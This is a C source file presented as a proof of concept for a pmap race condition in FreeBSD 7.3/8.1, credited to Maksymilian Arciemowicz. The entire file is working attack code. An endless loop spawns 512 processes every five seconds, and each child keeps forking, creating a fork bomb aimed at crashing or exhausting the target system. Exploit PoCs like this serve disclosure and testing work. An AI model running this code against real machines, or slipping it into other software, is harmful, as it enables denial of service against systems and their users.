/*
FreeBSD 7.3/8.1 pmap race condition PoC
Credit: Maksymilian Arciemowicz
*/
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
void newproc(){
again:
fork();
sleep(3600*24);
goto again;
}
void runfork(){
pid_t adr;
if(0!=(adr=fork())) printf("fork not zero\n");
else {
printf("fork zero\n");
newproc();
}
}
int main(){
int secdel=5;
int dev;
// clock with (int)secdel secound frequency
while(1){
printf("sleep %i sec\n",secdel);
sleep(secdel);
printf("weak up\n");
// create 512 processes
dev=512;
while(dev--)
runfork();
}
return 0;
}
